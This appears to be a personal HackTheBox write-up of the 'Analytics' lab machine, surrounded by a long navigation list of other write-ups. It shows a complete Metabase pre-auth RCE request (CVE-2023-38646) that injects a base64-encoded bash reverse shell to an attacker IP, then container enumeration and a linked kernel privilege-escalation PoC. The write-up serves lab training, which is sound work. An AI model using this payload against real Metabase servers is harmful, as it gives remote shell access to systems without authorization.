HTB Writeups
  • HTB Writeups
  • Boxes: Very Easy
    • Academy
    • Archetype
    • Arctic
    • Base
    • Bike
    • Blue
    • Explosion
    • Included
    • Markup
    • Oopsie
    • Redeemer
    • Responder
    • Shield
    • Unified
    • Vaccine
  • Boxes: Easy
    • Analytics
    • Armageddon
    • Bashed
    • Beep
    • Blocky
    • Bounty Hunter
    • Buff
    • Cap
    • CozyHosting
    • Devel
    • Explore
    • Forest
    • Grandpa
    • Granny
    • Horizontall
    • Jerry
    • Keeper
    • Knife
    • Lame
    • Late
    • Legacy
    • Mirai
    • Netmon
    • Nibbles
    • Optimum
    • Paper
    • Photobomb
    • Precious
    • RedPanda
    • Return
    • Sau
    • ScriptKiddie
    • Sense
    • Servmon
    • Shocker
    • Shoppy
    • Squashed
    • Trick
  • Boxes: Medium
    • Poison
  • Challenges
    • Behind the Scenes
    • Canvas
    • Debugging Interface
    • Digital Cube
    • Easy Phish
    • Find the Easy Pass
    • Forest
    • Infiltration
    • misDIRection
    • Pusheen Loves Graphs
    • Retro
    • Signals
    • The Secret of a Queen
    • Wrong Spooky Season
  • Fortresses
  • Cyber Apocalypse 2023: The Cursed Mission
    • The Cursed Mission
    • Alien Cradle
    • Critical Flight
    • Debug
    • Extraterrestrial Persistence
    • Getting Started
    • Needle in the Haystack
    • Orbital
    • Packet Cyclone
    • Passman
    • Perfect Sync
    • Persistence
    • Plaintext Tleasure
    • Questionnaire
    • Reconfiguration
    • Relic Maps
    • Roten
    • Secret Code
    • Shattered Tablet
    • Small StEps
  • Hack the Boo 2023
    • Hauntmart
    • Spellbrewery
    • Trick or Treat
    • Valhalloween
  • Cyber Apocalypse 2024: Hacker Royale
    • Hacker Royale
    • An Unusual Sighting
    • BoxCutter
    • BunnyPass
    • Character
    • Data Siege
    • Delulu
    • Dynastic
    • Fake Boost
    • Flag Command
    • Game Invitation
    • It has begun
    • KORP Terminal
    • Labyrinth Linguist
    • LockTalk
    • Lucky Faucet
    • Makeshift
    • Maze
    • Packed Away
    • Phreaky
    • Primary Knowledge
    • Pursue the Tracks
    • Rids
    • Russian Roulette
    • Stop Drop and Roll
    • Testimonial
    • TimeKORP
    • Unbreakable
    • Urgent
  • CYBER APOCALYPSE 2025: Tales from Eldoria
    • Tales from Eldoria
    • A New Hire
    • Cave Expedition
    • Echoes in Stone
    • Eldorion
    • Embassy
    • EncryptedScroll
    • HeliosDEX
    • Quack Quack
    • Silent Trap
    • Stealth Invasion
    • Tales for the Brave
    • The Ancient Citadel
    • The Hillside Haven
    • The Stone That Whispers
    • Thorins Amulet
    • ToolPie
    • Traces
    • Trial by Fire
    • Whispers of the Moonbeam
Powered by GitBook
On this page
  • Initial Enumeration
  • Metabase RCE
  • Internal Enum & Persistence
  • Privesc
  1. Boxes: Easy

Analytics

Personal Rating: Medium

PreviousVaccineNextArmageddon

Last updated 1 year ago

Initial Enumeration

I started a full nmap scan and a vhost scan in the background.

sudo nmap -oA nmap-analytics -p- -A 10.10.11.233

ffuf -u http://10.10.11.233/ -H 'Host: FUZZ.analytical.htb' -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt -mc 200 -t 64

  • There is a webserver on port 80 -> analytical.htb

  • A login page references data.analytical.htb

According to Wappalyzer, there is Leaflet, React, Emotion, nginx, PWA, webpack, D3, HSTS, Ace and Lodash

So the webserver is based on Metabase. There is nothing in Hacktricks about it, so I will poke around for a bit by myself. The only exploit for it I could find online is CVE-2023-38646.

Metabase RCE

I could identify the setup-token to be 249fa03d-fd94-4d5b-b94f-b4ebf3df681f

This might show the request required for exploitation:

Following the guide above, I got a reverse shell with this request after getting the token and encoding the shell:

POST /api/setup/validate HTTP/1.1
Host: data.analytical.htb
Content-Type: application/json
Cookie: metabase.DEVICE=ffe6f429-df53-4116-a173-9a822cdadb60
Content-Length: 818

{
    "token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE2LjQvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

Internal Enum & Persistence

In the reverse shell, most commands show “command not found”

LinEnum gave me this:

This did allow for ssh login

It looks like we are inside an alpine docker container!

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

We have some binaries, but really not many:

/usr/bin/nc
/usr/bin/wget
/usr/bin/curl
/bin/ping
/bin/base64

Running LinPEAS:

is modprobe present ............ lrwxrwxrwx 1 root root 12 Jun 14 15:03 /sbin/modprobe -> /bin/busybox

Privesc

Following this guide, it seems promising:

I found a database file at /metabase.db/metabase.db.mv.db , which turns out to be a H2 database, according to this

After running LinPeas and googling for a while, I found this post

After some more googling I found this PoC, which worked to get a root shell:

https://infosecwriteups.com/cve-2023-38646-metabase-pre-auth-rce-866220684396
https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
https://www.metabase.com/docs/latest/installation-and-operation/configuring-application-database
https://www.reddit.com/r/selfhosted/comments/15ecpck/ubuntu_local_privilege_escalation_cve20232640/
https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629/blob/main/exploit.sh